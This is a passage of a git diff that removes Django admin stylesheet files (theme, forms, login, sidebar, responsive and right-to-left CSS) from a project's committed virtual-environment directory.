--close-button-hover-bg: #666666; - - color-scheme: dark; - } - } - - -html[data-theme="dark"] { - --primary: #264b5d; - --primary-fg: #f7f7f7; - - --body-fg: #eeeeee; - --body-bg: #121212; - --body-quiet-color: #d0d0d0; - --body-medium-color: #e0e0e0; - --body-loud-color: #ffffff; - - --breadcrumbs-link-fg: #e0e0e0; - --breadcrumbs-bg: var(--primary); - - --link-fg: #81d4fa; - --link-hover-color: #4ac1f7; - --link-selected-fg: #6f94c6; - - --hairline-color: #272727; - --border-color: #353535; - - --error-fg: #e35f5f; - --message-success-bg: #006b1b; - --message-warning-bg: #583305; - --message-error-bg: #570808; - - --darkened-bg: #212121; - --selected-bg: #1b1b1b; - --selected-row: #00363a; - - --close-button-bg: #333333; - --close-button-hover-bg: #666666; - - color-scheme: dark; -} - -/* THEME SWITCH */ -.theme-toggle { - cursor: pointer; - border: none; - padding: 0; - background: transparent; - vertical-align: middle; - margin-inline-start: 5px; - margin-top: -1px; -} - -.theme-toggle svg { - vertical-align: middle; - height: 1.5rem; - width: 1.5rem; - display: none; -} - -/* -Fully hide screen reader text so we only show the one matching the current -theme. -*/ -.theme-toggle .visually-hidden { - display: none; -} - -html[data-theme="auto"] .theme-toggle .theme-label-when-auto { - display: block; -} - -html[data-theme="dark"] .theme-toggle .theme-label-when-dark { - display: block; -} - -html[data-theme="light"] .theme-toggle .theme-label-when-light { - display: block; -} - -/* ICONS */ -.theme-toggle svg.theme-icon-when-auto, -.theme-toggle svg.theme-icon-when-dark, -.theme-toggle svg.theme-icon-when-light { - fill: var(--header-link-color); - color: var(--header-bg); -} - -html[data-theme="auto"] .theme-toggle svg.theme-icon-when-auto { - display: block; -} - -html[data-theme="dark"] .theme-toggle svg.theme-icon-when-dark { - display: block; -} - -html[data-theme="light"] .theme-toggle svg.theme-icon-when-light { - display: block; -} diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/css/dashboard.css b/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/css/dashboard.css deleted file mode 100644 index 242b81a4..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/css/dashboard.css +++ /dev/null @@ -1,29 +0,0 @@ -/* DASHBOARD */ -.dashboard td, .dashboard th { - word-break: break-word; -} - -.dashboard .module table th { - width: 100%; -} - -.dashboard .module table td { - white-space: nowrap; -} - -.dashboard .module table td a { - display: block; - padding-right: .6em; -} - -/* RECENT ACTIONS MODULE */ - -.module ul.actionlist { - margin-left: 0; -} - -ul.actionlist li { - list-style-type: none; - overflow: hidden; - text-overflow: ellipsis; -} diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/css/forms.css b/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/css/forms.css deleted file mode 100644 index c6ce7883..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/css/forms.css +++ /dev/null @@ -1,498 +0,0 @@ -@import url('widgets.css'); - -/* FORM ROWS */ - -.form-row { - overflow: hidden; - padding: 10px; - font-size: 0.8125rem; - border-bottom: 1px solid var(--hairline-color); -} - -.form-row img, .form-row input { - vertical-align: middle; -} - -.form-row label input[type="checkbox"] { - margin-top: 0; - vertical-align: 0; -} - -form .form-row p { - padding-left: 0; -} - -.flex-container { - display: flex; -} - -.form-multiline { - flex-wrap: wrap; -} - -.form-multiline > div { - padding-bottom: 10px; -} - -/* FORM LABELS */ - -label { - font-weight: normal; - color: var(--body-quiet-color); - font-size: 0.8125rem; -} - -.required label, label.required { - font-weight: bold; -} - -/* RADIO BUTTONS */ - -form div.radiolist div { - padding-right: 7px; -} - -form div.radiolist.inline div { - display: inline-block; -} - -form div.radiolist label { - width: auto; -} - -form div.radiolist input[type="radio"] { - margin: -2px 4px 0 0; - padding: 0; -} - -form ul.inline { - margin-left: 0; - padding: 0; -} - -form ul.inline li { - float: left; - padding-right: 7px; -} - -/* FIELDSETS */ - -fieldset .fieldset-heading, -fieldset .inline-heading, -:not(.inline-related) .collapse summary { - border: 1px solid var(--header-bg); - margin: 0; - padding: 8px; - font-weight: 400; - font-size: 0.8125rem; - background: var(--header-bg); - color: var(--header-link-color); -} - -/* ALIGNED FIELDSETS */ - -.aligned label { - display: block; - padding: 4px 10px 0 0; - min-width: 160px; - width: 160px; - word-wrap: break-word; -} - -.aligned label:not(.vCheckboxLabel):after { - content: ''; - display: inline-block; - vertical-align: middle; -} - -.aligned label + p, .aligned .checkbox-row + div.help, .aligned label + div.readonly { - padding: 6px 0; - margin-top: 0; - margin-bottom: 0; - margin-left: 0; - overflow-wrap: break-word; -} - -.aligned ul label { - display: inline; - float: none; - width: auto; -} - -.aligned .form-row input { - margin-bottom: 0; -} - -.colMS .aligned .vLargeTextField, .colMS .aligned .vXMLLargeTextField { - width: 350px; -} - -form .aligned ul { - margin-left: 160px; - padding-left: 10px; -} - -form .aligned div.radiolist { - display: inline-block; - margin: 0; - padding: 0; -} - -form .aligned p.help, -form .aligned div.help { - margin-top: 0; - margin-left: 160px; - padding-left: 10px; -} - -form .aligned p.date div.help.timezonewarning, -form .aligned p.datetime div.help.timezonewarning, -form .aligned p.time div.help.timezonewarning { - margin-left: 0; - padding-left: 0; - font-weight: normal; -} - -form .aligned p.help:last-child, -form .aligned div.help:last-child { - margin-bottom: 0; - padding-bottom: 0; -} - -form .aligned input + p.help, -form .aligned textarea + p.help, -form .aligned select + p.help, -form .aligned input + div.help, -form .aligned textarea + div.help, -form .aligned select + div.help { - margin-left: 160px; - padding-left: 10px; -} - -form .aligned select option:checked { - background-color: var(--selected-row); -} - -form .aligned ul li { - list-style: none; -} - -form .aligned table p { - margin-left: 0; - padding-left: 0; -} - -.aligned .vCheckboxLabel { - padding: 1px 0 0 5px; -} - -.aligned .vCheckboxLabel + p.help, -.aligned .vCheckboxLabel + div.help { - margin-top: -4px; -} - -.colM .aligned .vLargeTextField, .colM .aligned .vXMLLargeTextField { - width: 610px; -} - -fieldset .fieldBox { - margin-right: 20px; -} - -/* WIDE FIELDSETS */ - -.wide label { - width: 200px; -} - -form .wide p.help, -form .wide ul.errorlist, -form .wide div.help { - padding-left: 50px; -} - -form div.help ul { - padding-left: 0; - margin-left: 0; -} - -.colM fieldset.wide .vLargeTextField, .colM fieldset.wide .vXMLLargeTextField { - width: 450px; -} - -/* COLLAPSIBLE FIELDSETS */ - -.collapse summary .fieldset-heading, -.collapse summary .inline-heading { - background: transparent; - border: none; - color: currentColor; - display: inline; - margin: 0; - padding: 0; -} - -/* MONOSPACE TEXTAREAS */ - -fieldset.monospace textarea { - font-family: var(--font-family-monospace); -} - -/* SUBMIT ROW */ - -.submit-row { - padding: 12px 14px 12px; - margin: 0 0 20px; - background: var(--darkened-bg); - border: 1px solid var(--hairline-color); - border-radius: 4px; - overflow: hidden; - display: flex; - gap: 10px; - flex-wrap: wrap; -} - -body.popup .submit-row { - overflow: auto; -} - -.submit-row input { - height: 2.1875rem; - line-height: 0.9375rem; -} - -.submit-row input, .submit-row a { - margin: 0; -} - -.submit-row input.default { - text-transform: uppercase; -} - -.submit-row a.deletelink { - margin-left: auto; -} - -.submit-row a.deletelink { - display: block; - background: var(--delete-button-bg); - border-radius: 4px; - padding: 0.625rem 0.9375rem; - height: 0.9375rem; - line-height: 0.9375rem; - color: var(--button-fg); -} - -.submit-row a.closelink { - display: inline-block; - background: var(--close-button-bg); - border-radius: 4px; - padding: 10px 15px; - height: 0.9375rem; - line-height: 0.9375rem; - color: var(--button-fg); -} - -.submit-row a.deletelink:focus, -.submit-row a.deletelink:hover, -.submit-row a.deletelink:active { - background: var(--delete-button-hover-bg); - text-decoration: none; -} - -.submit-row a.closelink:focus, -.submit-row a.closelink:hover, -.submit-row a.closelink:active { - background: var(--close-button-hover-bg); - text-decoration: none; -} - -/* CUSTOM FORM FIELDS */ - -.vSelectMultipleField { - vertical-align: top; -} - -.vCheckboxField { - border: none; -} - -.vDateField, .vTimeField { - margin-right: 2px; - margin-bottom: 4px; -} - -.vDateField { - min-width: 6.85em; -} - -.vTimeField { - min-width: 4.7em; -} - -.vURLField { - width: 30em; -} - -.vLargeTextField, .vXMLLargeTextField { - width: 48em; -} - -.flatpages-flatpage #id_content { - height: 40.2em; -} - -.module table .vPositiveSmallIntegerField { - width: 2.2em; -} - -.vIntegerField { - width: 5em; -} - -.vBigIntegerField { - width: 10em; -} - -.vForeignKeyRawIdAdminField { - width: 5em; -} - -.vTextField, .vUUIDField { - width: 20em; -} - -/* INLINES */ - -.inline-group { - padding: 0; - margin: 0 0 30px; -} - -.inline-group thead th { - padding: 8px 10px; -} - -.inline-group .aligned label { - width: 160px; -} - -.inline-related { - position: relative; -} - -.inline-related h4, -.inline-related:not(.tabular) .collapse summary { - margin: 0; - color: var(--body-medium-color); - padding: 5px; - font-size: 0.8125rem; - background: var(--darkened-bg); - border: 1px solid var(--hairline-color); - border-left-color: var(--darkened-bg); - border-right-color: var(--darkened-bg); -} - -.inline-related h3 span.delete { - float: right; -} - -.inline-related h3 span.delete label { - margin-left: 2px; - font-size: 0.6875rem; -} - -.inline-related fieldset { - margin: 0; - background: var(--body-bg); - border: none; - width: 100%; -} - -.inline-group .tabular fieldset.module { - border: none; -} - -.inline-related.tabular fieldset.module table { - width: 100%; - overflow-x: scroll; -} - -.last-related fieldset { - border: none; -} - -.inline-group .tabular tr.has_original td { - padding-top: 2em; -} - -.inline-group .tabular tr td.original { - padding: 2px 0 0 0; - width: 0; - _position: relative; -} - -.inline-group .tabular th.original { - width: 0px; - padding: 0; -} - -.inline-group .tabular td.original p { - position: absolute; - left: 0; - height: 1.1em; - padding: 2px 9px; - overflow: hidden; - font-size: 0.5625rem; - font-weight: bold; - color: var(--body-quiet-color); - _width: 700px; -} - -.inline-group div.add-row, -.inline-group .tabular tr.add-row td { - color: var(--body-quiet-color); - background: var(--darkened-bg); - padding: 8px 10px; - border-bottom: 1px solid var(--hairline-color); -} - -.inline-group .tabular tr.add-row td { - padding: 8px 10px; - border-bottom: 1px solid var(--hairline-color); -} - -.inline-group div.add-row a, -.inline-group .tabular tr.add-row td a { - font-size: 0.75rem; -} - -.empty-form { - display: none; -} - -/* RELATED FIELD ADD ONE / LOOKUP */ - -.related-lookup { - margin-left: 5px; - display: inline-block; - vertical-align: middle; - background-repeat: no-repeat; - background-size: 14px; -} - -.related-lookup { - width: 1rem; - height: 1rem; - background-image: url(../img/search.svg); -} - -form .related-widget-wrapper ul { - display: inline-block; - margin-left: 0; - padding-left: 0; -} - -.clearable-file-input input { - margin-top: 0; -} diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/css/login.css b/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/css/login.css deleted file mode 100644 index 805a34b5..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/css/login.css +++ /dev/null @@ -1,61 +0,0 @@ -/* LOGIN FORM */ - -.login { - background: var(--darkened-bg); - height: auto; -} - -.login #header { - height: auto; - padding: 15px 16px; - justify-content: center; -} - -.login #header h1 { - font-size: 1.125rem; - margin: 0; -} - -.login #header h1 a { - color: var(--header-link-color); -} - -.login #content { - padding: 20px; -} - -.login #container { - background: var(--body-bg); - border: 1px solid var(--hairline-color); - border-radius: 4px; - overflow: hidden; - width: 28em; - min-width: 300px; - margin: 100px auto; - height: auto; -} - -.login .form-row { - padding: 4px 0; -} - -.login .form-row label { - display: block; - line-height: 2em; -} - -.login .form-row #id_username, .login .form-row #id_password { - padding: 8px; - width: 100%; - box-sizing: border-box; -} - -.login .submit-row { - padding: 1em 0 0 0; - margin: 0; - text-align: center; -} - -.login .password-reset-link { - text-align: center; -} diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/css/nav_sidebar.css b/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/css/nav_sidebar.css deleted file mode 100644 index 7eb0de97..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/css/nav_sidebar.css +++ /dev/null @@ -1,150 +0,0 @@ -.sticky { - position: sticky; - top: 0; - max-height: 100vh; -} - -.toggle-nav-sidebar { - z-index: 20; - left: 0; - display: flex; - align-items: center; - justify-content: center; - flex: 0 0 23px; - width: 23px; - border: 0; - border-right: 1px solid var(--hairline-color); - background-color: var(--body-bg); - cursor: pointer; - font-size: 1.25rem; - color: var(--link-fg); - padding: 0; -} - -[dir="rtl"] .toggle-nav-sidebar { - border-left: 1px solid var(--hairline-color); - border-right: 0; -} - -.toggle-nav-sidebar:hover, -.toggle-nav-sidebar:focus { - background-color: var(--darkened-bg); -} - -#nav-sidebar { - z-index: 15; - flex: 0 0 275px; - left: -276px; - margin-left: -276px; - border-top: 1px solid transparent; - border-right: 1px solid var(--hairline-color); - background-color: var(--body-bg); - overflow: auto; -} - -[dir="rtl"] #nav-sidebar { - border-left: 1px solid var(--hairline-color); - border-right: 0; - left: 0; - margin-left: 0; - right: -276px; - margin-right: -276px; -} - -.toggle-nav-sidebar::before { - content: '\00BB'; -} - -.main.shifted .toggle-nav-sidebar::before { - content: '\00AB'; -} - -.main > #nav-sidebar { - visibility: hidden; -} - -.main.shifted > #nav-sidebar { - margin-left: 0; - visibility: visible; -} - -[dir="rtl"] .main.shifted > #nav-sidebar { - margin-right: 0; -} - -#nav-sidebar .module th { - width: 100%; - overflow-wrap: anywhere; -} - -#nav-sidebar .module th, -#nav-sidebar .module caption { - padding-left: 16px; -} - -#nav-sidebar .module td { - white-space: nowrap; -} - -[dir="rtl"] #nav-sidebar .module th, -[dir="rtl"] #nav-sidebar .module caption { - padding-left: 8px; - padding-right: 16px; -} - -#nav-sidebar .current-app .section:link, -#nav-sidebar .current-app .section:visited { - color: var(--header-color); - font-weight: bold; -} - -#nav-sidebar .current-model { - background: var(--selected-row); -} - -@media (forced-colors: active) { - #nav-sidebar .current-model { - background-color: SelectedItem; - } -} - -.main > #nav-sidebar + .content { - max-width: calc(100% - 23px); -} - -.main.shifted > #nav-sidebar + .content { - max-width: calc(100% - 299px); -} - -@media (max-width: 767px) { - #nav-sidebar, #toggle-nav-sidebar { - display: none; - } - - .main > #nav-sidebar + .content, - .main.shifted > #nav-sidebar + .content { - max-width: 100%; - } -} - -#nav-filter { - width: 100%; - box-sizing: border-box; - padding: 2px 5px; - margin: 5px 0; - border: 1px solid var(--border-color); - background-color: var(--darkened-bg); - color: var(--body-fg); -} - -#nav-filter:focus { - border-color: var(--body-quiet-color); -} - -#nav-filter.no-results { - background: var(--message-error-bg); -} - -#nav-sidebar table { - width: 100%; -} diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/css/responsive.css b/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/css/responsive.css deleted file mode 100644 index f0fcade4..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/css/responsive.css +++ /dev/null @@ -1,904 +0,0 @@ -/* Tablets */ - -input[type="submit"], button { - -webkit-appearance: none; - appearance: none; -} - -@media (max-width: 1024px) { - /* Basic */ - - html { - -webkit-text-size-adjust: 100%; - } - - td, th { - padding: 10px; - font-size: 0.875rem; - } - - .small { - font-size: 0.75rem; - } - - /* Layout */ - - #container { - min-width: 0; - } - - #content { - padding: 15px 20px 20px; - } - - div.breadcrumbs { - padding: 10px 30px; - } - - /* Header */ - - #header { - flex-direction: column; - padding: 15px 30px; - justify-content: flex-start; - } - - #site-name { - margin: 0 0 8px; - line-height: 1.2; - } - - #user-tools { - margin: 0; - font-weight: 400; - line-height: 1.85; - text-align: left; - } - - #user-tools a { - display: inline-block; - line-height: 1.4; - } - - /* Dashboard */ - - .dashboard #content { - width: auto; - } - - #content-related { - margin-right: -290px; - } - - .colSM #content-related { - margin-left: -290px; - } - - .colMS { - margin-right: 290px; - } - - .colSM { - margin-left: 290px; - } - - .dashboard .module table td a { - padding-right: 0; - } - - td .changelink, td .addlink { - font-size: 0.8125rem; - } - - /* Changelist */ - - #toolbar { - border: none; - padding: 15px; - } - - #changelist-search > div { - display: flex; - flex-wrap: nowrap; - max-width: 480px; - } - - #changelist-search label { - line-height: 1.375rem; - } - - #toolbar form #searchbar { - flex: 1 0 auto; - width: 0; - height: 1.375rem; - margin: 0 10px 0 6px; - } - - #toolbar form input[type=submit] { - flex: 0 1 auto; - } - - #changelist-search .quiet { - width: 0; - flex: 1 0 auto; - margin: 5px 0 0 25px; - } - - #changelist .actions { - display: flex; - flex-wrap: wrap; - padding: 15px 0; - } - - #changelist .actions label { - display: flex; - } - - #changelist .actions select { - background: var(--body-bg); - } - - #changelist .actions .button { - min-width: 48px; - margin: 0 10px; - } - - #changelist .actions span.all, - #changelist .actions span.clear, - #changelist .actions span.question, - #changelist .actions span.action-counter { - font-size: 0.6875rem; - margin: 0 10px 0 0; - } - - #changelist-filter { - flex-basis: 200px; - } - - .change-list .filtered .results, - .change-list .filtered .paginator, - .filtered #toolbar, - .filtered .actions, - - #changelist .paginator { - border-top-color: var(--hairline-color); /* XXX Is this used at all? */ - } - - #changelist .results + .paginator { - border-top: none; - } - - /* Forms */ - - label { - font-size: 1rem; - } - - /* - Minifiers remove the default (text) "type" attribute from "input" HTML - tags. Add input:not([type]) to make the CSS stylesheet work the same. - */ - .form-row input:not([type]), - .form-row input[type=text], - .form-row input[type=password], - .form-row input[type=email], - .form-row input[type=url], - .form-row input[type=tel], - .form-row input[type=number], - .form-row textarea, - .form-row select, - .form-row .vTextField { - box-sizing: border-box; - margin: 0; - padding: 6px 8px; - min-height: 2.25rem; - font-size: 1rem; - } - - .form-row select { - height: 2.25rem; - } - - .form-row select[multiple] { - height: auto; - min-height: 0; - } - - fieldset .fieldBox + .fieldBox { - margin-top: 10px; - padding-top: 10px; - border-top: 1px solid var(--hairline-color); - } - - textarea { - max-width: 100%; - max-height: 120px; - } - - .aligned label { - padding-top: 6px; - } - - .aligned .related-lookup, - .aligned .datetimeshortcuts, - .aligned .related-lookup + strong { - align-self: center; - margin-left: 15px; - } - - form .aligned div.radiolist { - margin-left: 2px; - } - - .submit-row { - padding: 8px; - } - - .submit-row a.deletelink { - padding: 10px 7px; - } - - .button, input[type=submit], input[type=button], .submit-row input, a.button { - padding: 7px; - } - - /* Selector */ - - .selector { - display: flex; - width: 100%; - } - - .selector .selector-filter { - display: flex; - align-items: center; - } - - .selector .selector-filter input { - width: 100%; - min-height: 0; - flex: 1 1; - } - - .selector-available, .selector-chosen { - width: auto; - flex: 1 1; - display: flex; - flex-direction: column; - } - - .selector select { - width: 100%; - flex: 1 0 auto; - margin-bottom: 5px; - } - - .selector-chooseall, .selector-clearall { - align-self: center; - } - - .stacked { - flex-direction: column; - max-width: 480px; - } - - .stacked > * { - flex: 0 1 auto; - } - - .stacked select { - margin-bottom: 0; - } - - .stacked .selector-available, .stacked .selector-chosen { - width: auto; - } - - .stacked ul.selector-chooser { - padding: 0 2px; - transform: none; - } - - .stacked .selector-chooser li { - padding: 3px; - } - - .help-tooltip, .selector .help-icon { - display: none; - } - - .datetime input { - width: 50%; - max-width: 120px; - } - - .datetime span { - font-size: 0.8125rem; - } - - .datetime .timezonewarning { - display: block; - font-size: 0.6875rem; - color: var(--body-quiet-color); - } - - .datetimeshortcuts { - color: var(--border-color); /* XXX Redundant, .datetime span also sets #ccc */ - } - - .form-row .datetime input.vDateField, .form-row .datetime input.vTimeField { - width: 75%; - } - - .inline-group { - overflow: auto; - } - - /* Messages */ - - ul.messagelist li { - padding-left: 55px; - background-position: 30px 12px; - } - - ul.messagelist li.error { - background-position: 30px 12px; - } - - ul.messagelist li.warning { - background-position: 30px 14px; - } - - /* Login */ - - .login #header { - padding: 15px 20px; - } - - .login #site-name { - margin: 0; - } - - /* GIS */ - - div.olMap { - max-width: calc(100vw - 30px); - max-height: 300px; - } - - .olMap + .clear_features { - display: block; - margin-top: 10px; - } - - /* Docs */ - - .module table.xfull { - width: 100%; - } - - pre.literal-block { - overflow: auto; - } -} - -/* Mobile */ - -@media (max-width: 767px) { - /* Layout */ - - #header, #content { - padding: 15px; - } - - div.breadcrumbs { - padding: 10px 15px; - } - - /* Dashboard */ - - .colMS, .colSM { - margin: 0; - } - - #content-related, .colSM #content-related { - width: 100%; - margin: 0; - } - - #content-related .module { - margin-bottom: 0; - } - - #content-related .module h2 { - padding: 10px 15px; - font-size: 1rem; - } - - /* Changelist */ - - #changelist { - align-items: stretch; - flex-direction: column; - } - - #toolbar { - padding: 10px; - } - - #changelist-filter { - margin-left: 0; - } - - #changelist .actions label { - flex: 1 1; - } - - #changelist .actions select { - flex: 1 0; - width: 100%; - } - - #changelist .actions span { - flex: 1 0 100%; - } - - #changelist-filter { - position: static; - width: auto; - margin-top: 30px; - } - - .object-tools { - float: none; - margin: 0 0 15px; - padding: 0; - overflow: hidden; - } - - .object-tools li { - height: auto; - margin-left: 0; - } - - .object-tools li + li { - margin-left: 15px; - } - - /* Forms */ - - .form-row { - padding: 15px 0; - } - - .aligned .form-row, - .aligned .form-row > div { - max-width: 100vw; - } - - .aligned .form-row > div { - width: calc(100vw - 30px); - } - - .flex-container { - flex-flow: column; - } - - .flex-container.checkbox-row { - flex-flow: row; - } - - textarea { - max-width: none; - } - - .vURLField { - width: auto; - } - - fieldset .fieldBox + .fieldBox { - margin-top: 15px; - padding-top: 15px; - } - - .aligned label { - width: 100%; - min-width: auto; - padding: 0 0 10px; - } - - .aligned label:after { - max-height: 0; - } - - .aligned .form-row input, - .aligned .form-row select, - .aligned .form-row textarea { - flex: 1 1 auto; - max-width: 100%; - } - - .aligned .checkbox-row input { - flex: 0 1 auto; - margin: 0; - } - - .aligned .vCheckboxLabel { - flex: 1 0; - padding: 1px 0 0 5px; - } - - .aligned label + p, - .aligned label + div.help, - .aligned label + div.readonly { - padding: 0; - margin-left: 0; - } - - .aligned p.file-upload { - font-size: 0.8125rem; - } - - span.clearable-file-input { - margin-left: 15px; - } - - span.clearable-file-input label { - font-size: 0.8125rem; - padding-bottom: 0; - } - - .aligned .timezonewarning { - flex: 1 0 100%; - margin-top: 5px; - } - - form .aligned .form-row div.help { - width: 100%; - margin: 5px 0 0; - padding: 0; - } - - form .aligned ul, - form .aligned ul.errorlist { - margin-left: 0; - padding-left: 0; - } - - form .aligned div.radiolist { - margin-top: 5px; - margin-right: 15px; - margin-bottom: -3px; - } - - form .aligned div.radiolist:not(.inline) div + div { - margin-top: 5px; - } - - /* Related widget */ - - .related-widget-wrapper { - width: 100%; - display: flex; - align-items: flex-start; - } - - .related-widget-wrapper .selector { - order: 1; - flex: 1 0 auto; - } - - .related-widget-wrapper > a { - order: 2; - } - - .related-widget-wrapper .radiolist ~ a { - align-self: flex-end; - } - - .related-widget-wrapper > select ~ a { - align-self: center; - } - - /* Selector */ - - .selector { - flex-direction: column; - gap: 10px 0; - } - - .selector-available, .selector-chosen { - flex: 1 1 auto; - } - - .selector select { - max-height: 96px; - } - - .selector ul.selector-chooser { - display: flex; - width: 60px; - height: 30px; - padding: 0 2px; - transform: none; - } - - .selector ul.selector-chooser li { - float: left; - } - - .selector-remove { - background-position: 0 0; - } - - :enabled.selector-remove:focus, :enabled.selector-remove:hover { - background-position: 0 -24px; - } - - .selector-add { - background-position: 0 -48px; - } - - :enabled.selector-add:focus, :enabled.selector-add:hover { - background-position: 0 -72px; - } - - /* Inlines */ - - .inline-group[data-inline-type="stacked"] .inline-related { - border: 1px solid var(--hairline-color); - border-radius: 4px; - margin-top: 15px; - overflow: auto; - } - - .inline-group[data-inline-type="stacked"] .inline-related > * { - box-sizing: border-box; - } - - .inline-group[data-inline-type="stacked"] .inline-related .module { - padding: 0 10px; - } - - .inline-group[data-inline-type="stacked"] .inline-related .module .form-row { - border-top: 1px solid var(--hairline-color); - border-bottom: none; - } - - .inline-group[data-inline-type="stacked"] .inline-related .module .form-row:first-child { - border-top: none; - } - - .inline-group[data-inline-type="stacked"] .inline-related h3 { - padding: 10px; - border-top-width: 0; - border-bottom-width: 2px; - display: flex; - flex-wrap: wrap; - align-items: center; - } - - .inline-group[data-inline-type="stacked"] .inline-related h3 .inline_label { - margin-right: auto; - } - - .inline-group[data-inline-type="stacked"] .inline-related h3 span.delete { - float: none; - flex: 1 1 100%; - margin-top: 5px; - } - - .inline-group[data-inline-type="stacked"] .aligned .form-row > div:not([class]) { - width: 100%; - } - - .inline-group[data-inline-type="stacked"] .aligned label { - width: 100%; - } - - .inline-group[data-inline-type="stacked"] div.add-row { - margin-top: 15px; - border: 1px solid var(--hairline-color); - border-radius: 4px; - } - - .inline-group div.add-row, - .inline-group .tabular tr.add-row td { - padding: 0; - } - - .inline-group div.add-row a, - .inline-group .tabular tr.add-row td a { - display: block; - padding: 8px 10px 8px 26px; - background-position: 8px 9px; - } - - /* Submit row */ - - .submit-row { - padding: 10px; - margin: 0 0 15px; - flex-direction: column; - gap: 8px; - } - - .submit-row input, .submit-row input.default, .submit-row a { - text-align: center; - } - - .submit-row a.closelink { - padding: 10px 0; - text-align: center; - } - - .submit-row a.deletelink { - margin: 0; - } - - /* Messages */ - - ul.messagelist li { - padding-left: 40px; - background-position: 15px 12px; - } - - ul.messagelist li.error { - background-position: 15px 12px; - } - - ul.messagelist li.warning { - background-position: 15px 14px; - } - - /* Paginator */ - - .paginator .this-page, .paginator a:link, .paginator a:visited { - padding: 4px 10px; - } - - /* Login */ - - body.login { - padding: 0 15px; - } - - .login #container { - width: auto; - max-width: 480px; - margin: 50px auto; - } - - .login #header, - .login #content { - padding: 15px; - } - - .login #content-main { - float: none; - } - - .login .form-row { - padding: 0; - } - - .login .form-row + .form-row { - margin-top: 15px; - } - - .login .form-row label { - margin: 0 0 5px; - line-height: 1.2; - } - - .login .submit-row { - padding: 15px 0 0; - } - - .login br { - display: none; - } - - .login .submit-row input { - margin: 0; - text-transform: uppercase; - } - - .errornote { - margin: 0 0 20px; - padding: 8px 12px; - font-size: 0.8125rem; - } - - /* Calendar and clock */ - - .calendarbox, .clockbox { - position: fixed !important; - top: 50% !important; - left: 50% !important; - transform: translate(-50%, -50%); - margin: 0; - border: none; - overflow: visible; - } - - .calendarbox:before, .clockbox:before { - content: ''; - position: fixed; - top: 50%; - left: 50%; - width: 100vw; - height: 100vh; - background: rgba(0, 0, 0, 0.75); - transform: translate(-50%, -50%); - } - - .calendarbox > *, .clockbox > * { - position: relative; - z-index: 1; - } - - .calendarbox > div:first-child { - z-index: 2; - } - - .calendarbox .calendar, .clockbox h2 { - border-radius: 4px 4px 0 0; - overflow: hidden; - } - - .calendarbox .calendar-cancel, .clockbox .calendar-cancel { - border-radius: 0 0 4px 4px; - overflow: hidden; - } - - .calendar-shortcuts { - padding: 10px 0; - font-size: 0.75rem; - line-height: 0.75rem; - } - - .calendar-shortcuts a { - margin: 0 4px; - } - - .timelist a { - background: var(--body-bg); - padding: 4px; - } - - .calendar-cancel { - padding: 8px 10px; - } - - .clockbox h2 { - padding: 8px 15px; - } - - .calendar caption { - padding: 10px; - } - - .calendarbox .calendarnav-previous, .calendarbox .calendarnav-next { - z-index: 1; - top: 10px; - } - - /* History */ - - table#change-history tbody th, table#change-history tbody td { - font-size: 0.8125rem; - word-break: break-word; - } - - table#change-history tbody th { - width: auto; - } - - /* Docs */ - - table.model tbody th, table.model tbody td { - font-size: 0.8125rem; - word-break: break-word; - } -} diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/css/responsive_rtl.css b/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/css/responsive_rtl.css deleted file mode 100644 index 5e8f5c59..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/css/responsive_rtl.css +++ /dev/null @@ -1,89 +0,0 @@ -/* TABLETS */ - -@media (max-width: 1024px) { - [dir="rtl"] .colMS { - margin-right: 0; - } - - [dir="rtl"] #user-tools { - text-align: right; - } - - [dir="rtl"] #changelist .actions label { - padding-left: 10px; - padding-right: 0; - } - - [dir="rtl"] #changelist .actions select { - margin-left: 0; - margin-right: 15px; - } - - [dir="rtl"] .change-list .filtered .results, - [dir="rtl"] .change-list .filtered .paginator, - [dir="rtl"] .filtered #toolbar, - [dir="rtl"] .filtered div.xfull, - [dir="rtl"] .filtered .actions, - [dir="rtl"] #changelist-filter { - margin-left: 0; - } - - [dir="rtl"] .inline-group div.add-row a, - [dir="rtl"] .inline-group .tabular tr.add-row td a { - padding: 8px 26px 8px 10px; - background-position: calc(100% - 8px) 9px; - } - - [dir="rtl"] .object-tools li { - float: right; - } - - [dir="rtl"] .object-tools li + li { - margin-left: 0; - margin-right: 15px; - } - - [dir="rtl"] .dashboard .module table td a { - padding-left: 0; - padding-right: 16px; - } -} - -/* MOBILE */ - -@media (max-width: 767px) { - [dir="rtl"] .aligned .related-lookup, - [dir="rtl"] .aligned .datetimeshortcuts { - margin-left: 0; - margin-right: 15px; - } - - [dir="rtl"] .aligned ul, - [dir="rtl"] form .aligned ul.errorlist { - margin-right: 0; - } - - [dir="rtl"] #changelist-filter { - margin-left: 0; - margin-right: 0; - } - [dir="rtl"] .aligned .vCheckboxLabel { - padding: 1px 5px 0 0; - } - - [dir="rtl"] .selector-remove { - background-position: 0 0; - } - - [dir="rtl"] :enabled.selector-remove:focus, :enabled.selector-remove:hover { - background-position: 0 -24px; - } - - [dir="rtl"] .selector-add { - background-position: 0 -48px; - } - - [dir="rtl"] :enabled.selector-add:focus, :enabled.selector-add:hover { - background-position: 0 -72px; - } -} diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/css/rtl.css b/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/css/rtl.css deleted file mode 100644 index a2556d04..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/css/rtl.css +++ /dev/null @@ -1,293 +0,0 @@ -/* GLOBAL */ - -th { - text-align: right; -} - -.module h2, .module caption { - text-align: right; -} - -.module ul, .module ol { - margin-left: 0; - 